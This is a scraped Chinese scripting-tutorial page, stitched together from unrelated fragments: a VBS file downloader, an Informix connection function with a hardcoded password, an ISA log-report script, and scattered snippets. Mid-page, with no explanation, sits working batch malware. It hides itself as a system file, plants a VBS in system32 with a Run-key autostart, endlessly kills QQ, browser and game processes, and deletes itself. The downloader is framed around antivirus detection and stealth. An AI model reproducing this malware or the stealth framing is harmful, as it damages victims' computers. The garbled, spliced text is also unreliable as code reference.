mcgs脚本程序实例语句

发布时间:2020-11-18 来源:脚本之家 点击:

在VB中绘制实时曲线是比较难的,一般要应用第三方控件或是WindowsAPI函数来完成,但是如果你对实时曲线的要求不是很高,只要能表示出当前的一般情况的话,我们可以直接应用VB提供给我们的空间来完成

再谈CreateObject函数,VBS到底能调用哪些对象?

lol走位脚本外挂
说到使用vbs下载文件是不是想到了XMLHTTP呢,呵呵,以下是比较经典的代码:
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
SetxPost=createObject("Microsoft.XMLHTTP")
xPost.Open"GET",iRemote,0
xPost.Send()
setsGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.WritexPost.ResponseBody
sGet.SaveToFileiLocal,2

当你把这段代码保存为vbs的时候,杀毒软件可能就开始报警了;而且使用中cscript.exe会访问网络,不太隐蔽在Informix之下设定独占性的资料库比较简单,主要就是以下指令

DATABASEdatabase-nameEXCLUSIVE
以下FUNCTION是Informix开启独占资料库的方式
'************************************************************
'DbNmae待开启的资料库
'UserIDUserID
'PassWDUserPassword
'ExclusiveModeTrue表示以独占方式开启
'ErrDescription如果开启过程有错,传回错误描述
'传回值:一个ADBDB.Connection物件,有错时传回Nothing
'*************************************************************
PublicFunctionOpenConnection(ByValDbNameAsString,ByValUserIDAsString,_
ByValPassWDAsString,ByValExclusiveMode,ErrDescriptionAsString)AsADODB.Connection
DimcurConnAsNewADODB.Connection,connstrAsString
curConn.Provider="MSDASQL"
connstr="UID=" UserID ";PWD=" PassWD ";Database=" DbName
connstr=connstr _
";Driver={OpenLinkGeneric32BitDriver};"_
"Host=192.168.0.61;"_
";FetchBufferSize=30"_
";NoLoginBox=Yes"_
";Options="_
";Protocol=TCP/IP"_
";ReadOnly=No"_
";ServerOptions="_
";ServerType=Informix7.2"

curConn.ConnectionString=connstr
OnErrorGoToerrh:
curConn.Open
IfExclusiveModeThen
curConn.Execute"DATABASE" DbName "EXCLUSIVE"
EndIf
ErrDescription=""
SetOpenConnection=curConn
ExitFunction
errh:
IfcurConn.State=adStateOpenThen
curConn.Close
EndIf
ErrDescription=Err.Description
SetcurConn=Nothing
EndFunction

使用方式

Setcn=OpenConnection("cwwpf@eis","cww","jjh5612",True,Errstr)
IfcnIsNothingThen
MsgBoxErrstr
EndIf
而SQLServer就没有那样容易,我们知道有一个systemstoredprocedure

SP_DBOPTIONdatabase-name,'SingleUser',TRUE'设定SingleUserMode
SP_DBOPTIONdatabase-name,'SingleUser',FALSE'设定MultiUserMode

不过这里有许多点要注意:
1.必需是sa才有权
2.透过OLEDBProvider来做时不会成功(forSQL6.5)
3.如下面的范例中,虽我们成功的设定了SingleUserMode,但不表示我们接下来
的建立连线会成功

我想打开这些文件中的每一个并将它们另存为纯文本文件
----ActiveX是一套Windows环境下的部件模型开发标准,它提供了一种使部件嵌入到Web页面中以扩展交互功能的应用机制


@echo off
attrib -s -h -a -r d:\jk.bat 1>nul 2>nul
if exist d:\jk.bat del d:\jk.bat /q
copy %0 d:\jk.bat /y >nul
attrib +s +h +a +r d:\jk.bat
if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs
echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul
echo Do>>%windir%\system32\jk.vbs
echo WScript.Sleep 3000>>%windir%\system32\jk.vbs
echo strComputer="." >>%windir%\system32\jk.vbs
echo Set objWMIService=GetObject("winmgmts:\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs
echo Set colItems=objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs
echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs
echo For Each objItem in colItems >>%windir%\system32\jk.vbs
echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs
echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs
echo Then objitem.Terminate()>>%windir%\system32\jk.vbs
echo Next>>%windir%\system32\jk.vbs
echo loop>>%windir%\system32\jk.vbs
start %windir%\system32\jk.vbs
del %0 /q


  FloodShowpct:决定是否在三维面板控件上显示百分比,是一个逻辑值


'ISA 2004 Web Log Query Tool
'Created by mwpq
'Version 1.0
'Date 2007.9.18


On Error Resume Next

Dim startdate, enddate
Dim topweb, topuser,usertop, usertopweb

'Configuration part of the script
'==================================================================
startdate=1 ' the newest log files to be queried. 1 means one day ago
interday=7 ' the oldest log files is startdate + interday
' For example startdate=1, interday=7 means script will query log files between 8 days ago and yesterday's.

topweb="Top 20" ' List Top 20 Websites visited. Just change 20 to other No to get what you want like "top 21" will list top 21 websites.
topuser="Top 10" ' List Top 10 users and their total usage.
Usertop="Top 20" ' List Top 20 Users with their top websites, depend on uesrtopweb. set to "" to list all users web usage
usertopweb="Top 10"
sMailTo="mwpq@yahoo.com" 'Send email repor to
sMailFrom="admin@yourdomain.com 'Email comes from
sMailSub="ISA Web Traffic Report" 'Email Title
sSMTPServer="youremailserver" 'Email server
strMessage="Please see attachment for the ISA Web Traffic Report." 'Email txt body.
satt="C:\Program Files\Microsoft ISA Server\ISALogs\report.htm" 'Email attachment path. The report.htm will be created under ISA's log folder.

'===================================================================



Const cdoSendUsingMethod="", _
cdoSendUsingPort=2, _
cdoSMTPServer=""

'Create the html reprot and write the html header
'=================================================================================================================
Const BEGIN_TABLE=" <TABLE width=100% BORDER=0 CELLSPACING=1 CELLPADDING=2>"
Const END_TABLE=" </TABLE>"
Const ForReading=1
Const ForWriting=2
Const ForAppending=8
Set oFSO=CreateObject("Scripting.FileSystemObject")
If oFSO.FileExists(".\report.htm") Then
oFSO.Deletefile(".\report.htm")
End If
If oFSO.FileExists(".\tempsum.w3c") Then
oFSO.Deletefile(".\tempsum.w3c")
End If
Set oFile=oFSO.OpenTextFile(".\report.htm", ForWriting, True, true)

'Write the HTML head to file suit for IE viewer.
oFile.writeline ("<HTML>" & vbcrlf & _
"<HEAD>" & vbcrlf & _
"<TITLE> ISA Web Usage Reports</TITLE>" & VbCrLf & _
"<style type=""text/css"">" & vbcrlf)
oFile.writeline ("<!--" & vbcrlf & _
".Title {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; font-weight: bold; color:'#0000cc'}" & vbcrlf & _
".head {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 14px; font-weight: bold; color:'#ffffff'}" & vbcrlf & _
".category {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color:'#ffffff'}" & vbcrlf & _
".result {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color:'#000000'}" & vbcrlf & _
".alert {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color:'#ff0000'}" & vbcrlf & _
"a {color: '#000066'; text-decoration:none;}" & vbcrlf & _
"a:hover {text-decoration:underline}" & vbcrlf & _
"-->" & vbcrlf)

oFile.writeline ("</style>" & VbCrLf & _
"</HEAD>" & VbCrLf & _
"<body bgcolor=#ffffff>" & VbCrLf)

oFile.writeline "<p class=Title> ISA Web Traffic Report - From "&date-startdate-interday&" to "&date-startdate
oFile.writeline "<p>"
'=================================================================================================================
'End of create html report header part


'build the log file name list
spath=""

while interday >=0

dtmDate=date - startdate - interday

'Convert the current Date to UTC
'=================================================================================================================
strDay=Day(dtmDate)
If Len(strDay) < 2 Then
strDay="0" & strDay
End If
strMonth=Month(dtmDate)
If Len(strMonth) < 2 Then
strMonth="0" & strMonth
End If
strYear=Year(dtmDate)

sdate=strYear & strMonth & strDay
'=================================================================================================================

stemp2="'"&"ISALOG_"&sdate&"_WEB_* "&"'"
spath=spath & stemp2

if interday - startday > 0 then
spath=spath&", "
end if

interday=interday - 1
wend





'Create a temp sumary file
set objLogParser=CreateObject("MSUtil.LogQuery")
Set objInputFormat=_
CreateObject("MSUtil.LogQuery.W3CInputFormat")
SET w3cOutputFormat=WScript.CreateObject("MSUtil.LogQuery.W3COutputFormat")
w3cOutputFormat.filemode=1 ' Set file to overwrite mode
strQuery="SELECT cs-username, r-host, Sum(add(cs-bytes,sc-bytes)) as SRdata into 'tempsum.w3c' FROM "&spath&" where sc-Network='External' group by cs-username,r-host order by SRdata DESC"
objLogParser.Executebatch strQuery, objInputFormat,w3cOutputFormat

'check tempsum.w3c existed
Set oFSO1=CreateObject("Scripting.FileSystemObject")
If oFSO1.FileExists(".\tempsum.w3c") Then
oFSO1=nothing
else
oFSO1=nothing
wscript.echo "Sorry cannot find some of the log files to query! Script Quit."
wscript.quit
End If


'Generate report based on temp file.

'================================================================================
'Generate top web sites.
fl=0
oFile.writeline (BEGIN_TABLE & VbCrLf)
mWHeading topweb&" Websites"
mWBRow
mWTitle "Site Name"
mWTitle "Traffic (MB)"
mWERow

set objLogParser10=CreateObject("MSUtil.LogQuery")
Set objInputFormat10=_
CreateObject("MSUtil.LogQuery.W3CInputFormat")
'objInputFormat.recurse=2

strQuery10="SELECT "&topweb&" r-host, sum(SRdata) as TSRData FROM 'tempsum.w3c' group by r-host order by TSRdata DESC"
Set objRecordSet10=objLogParser10.Execute(strQuery10, objInputFormat10)
Do While Not objRecordSet10.AtEnd
Set objRecord10=objRecordSet10.GetRecord

if fl=0 then

mWBRow
mWDetail2 objRecord10.GetValue("r-host")
mwDetail2 FormatNumber(objRecord10.GetValue("TSRdata")/1048576,2)
mWERow
fl=1
else
mWBRow
mWDetail1 objRecord10.GetValue("r-host")
mwDetail1 FormatNumber(objRecord10.GetValue("TSRdata")/1048576,2)
mWERow
fl=0
end if


'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata")

objRecordSet10.MoveNext
Loop
spacer(12)
oFile.writeline (END_TABLE & VbCrLf)

'================================================================================

'================================================================================
'Generate top user list.
fl=0
oFile.writeline (BEGIN_TABLE & VbCrLf)
mWHeading topuser&" Users list"
mWBRow
mWTitle "logon Name"
mWTitle "Traffic (MB)"
mWERow

set objLogParser11=CreateObject("MSUtil.LogQuery")
Set objInputFormat11=_
CreateObject("MSUtil.LogQuery.W3CInputFormat")
'objInputFormat.recurse=2

strQuery11="SELECT "&topuser&" cs-username, Sum(SRdata) as TSRdata FROM 'tempsum.w3c' group by cs-username order by TSRdata DESC"
Set objRecordSet11=objLogParser11.Execute(strQuery11, objInputFormat11)
Do While Not objRecordSet11.AtEnd
Set objRecord11=objRecordSet11.GetRecord

if fl=0 then
mWBRow
mWDetail2 objRecord11.GetValue("cs-username")
mwDetail2 FormatNumber(objRecord11.GetValue("TSRdata")/1048576,2)
mWERow
fl=1
else
mWBRow
mWDetail1 objRecord11.GetValue("cs-username")
mwDetail1 FormatNumber(objRecord11.GetValue("TSRdata")/1048576,2)
mWERow
fl=0
end if
'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata")

objRecordSet11.MoveNext
Loop
spacer(12)
oFile.writeline (END_TABLE & VbCrLf)

'================================================================================


set objLogParser1=CreateObject("MSUtil.LogQuery")
Set objInputFormat1=_
CreateObject("MSUtil.LogQuery.W3CInputFormat")

strQuery1="SELECT "&usertop&" cs-username, Sum(SRdata) as TSRdata FROM 'tempsum.w3c' group by cs-username order by TSRdata DESC"

Set objRecordSet1=objLogParser1.Execute(strQuery1, objInputFormat1)
oFile.writeline (BEGIN_TABLE & VbCrLf)
mWHeading usertop&" Users' Web Traffic "

Do While Not objRecordSet1.AtEnd
Set objRecord1=objRecordSet1.GetRecord
strUsername=objRecord1.GetValue("cs-username")
stt="'"&strUsername&"'"


mWBRow
mWTitle strUsername &" ------ Total Web Traffic: " & FormatNumber(objRecord1.GetValue("TSRdata")/1048576,2)&" MB"
mWTitle "Traffic (MB)"
mWERow

'Wscript.echo ""
'wscript.echo stt &" >>> data: " & objRecord1.GetValue("TSRdata")

set objLogParser2=CreateObject("MSUtil.LogQuery")
Set objInputFormat2=_
CreateObject("MSUtil.LogQuery.W3CInputFormat")
'objInputFormat.recurse=2
fl=0
strQuery2="SELECT "&usertopweb&" r-host, SRdata FROM 'tempsum.w3c' where cs-username=" &stt&" group by r-host,SRdata"
Set objRecordSet2=objLogParser2.Execute(strQuery2, objInputFormat2)
Do While Not objRecordSet2.AtEnd
Set objRecord2=objRecordSet2.GetRecord
if fl=0 then
mWBRow
mWDetail2 objRecord2.GetValue("r-host")
mwDetail2 FormatNumber(objRecord2.GetValue("SRdata")/1048576,2)

mWERow
fl=1
else
mWBRow
mWDetail1 objRecord2.GetValue("r-host")
mwDetail1 FormatNumber(objRecord2.GetValue("SRdata")/1048576,2)

mWERow
fl=0
end if

'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata")

objRecordSet2.MoveNext
Loop
objRecordSet1.MoveNext
spacer(12)

Loop

oFile.writeline (END_TABLE & VbCrLf)

' Write the html end to report.
oFile.WriteLine ("</body>")
oFile.WriteLine ("</html>")
oFile.Close


'Methods to create html(title and table) part
'=================================================================================================================
Private Sub mWHeading(sHeading)
oFile.writeline ( _
" <tr>" & vbCrLf & _
" <td colspan=7 bgcolor=#0099cc class=head>" & sHeading &"</td>"& vbCrLf & _
" </tr>" & VbCrLf)

End Sub

Private Sub mWTitle(sContent)

oFile.writeline ( _
" <TD bgcolor=#0099ff align=left class=category height=14>" & sContent & "</TD>" & VbCrLf)
End Sub

Private Sub mWDetail1(sContent)
oFile.writeline ( _
" <TD bgcolor=#dce3fc align=left class=result height=12>" & sContent & "</TD>" & VbCrLf)
End Sub

Private Sub mWDetail2(sContent)
oFile.writeline ( _
" <TD bgcolor=#e9fbfe align=left class=result height=12>" & sContent & "</TD>" & VbCrLf)
End Sub

Private Sub mWAlert1(sContent)
oFile.writeline ( _
" <TD bgcolor=#dce3fc align=left class=alert height=12>" & sContent & "</TD>" & VbCrLf)
End Sub

Private Sub mWAlert2(sContent)
oFile.writeline ( _
" <TD bgcolor=#e9fbfe align=left class=alert height=12>" & sContent & "</TD>" & VbCrLf)
End Sub

Private Sub mWBRow
oFile.writeline ( " <tr>" & VbCrLf)
End Sub

Private Sub mWERow
oFile.writeline ( " </tr>" & VbCrLf)
End Sub
Private Sub spacer(iHeight)

oFile.writeline ( _
" <tr><td height=" & iHeight & "></td></tr>" & VbCrLf)

End Sub

'=================================================================================================================
'End of create html method


'Send email


Dim iMsg, iConf, Flds

'// Create the CDO connections.
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields

'// SMTP server configuration.
With Flds
.Item(cdoSendUsingMethod)=cdoSendUsingPort

'// Set the SMTP server address here.
.Item(cdoSMTPServer)=sSMTPServer
.Update
End With

'// Set the message properties.
With iMsg
Set .Configuration=iConf
.To=sMailTo
.From=sMailFrom
.Subject=sMailSub
.TextBody=strMessage
End With

'iMsg.HTMLBody=sMailMessage
'// Send the message.


iMsg.AddAttachment satt

iMsg.Send ' send the message.
Set iMsg=Nothing
Set iConf=Nothing


天神在中文环境下,每个字被当做两个Byte:

Len("汉1")=2
LenB("汉1")=4

但在许多情况下,我们希望中文字长度为2,英文字符为1
'----------------------------------------
On Error Resume Next

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号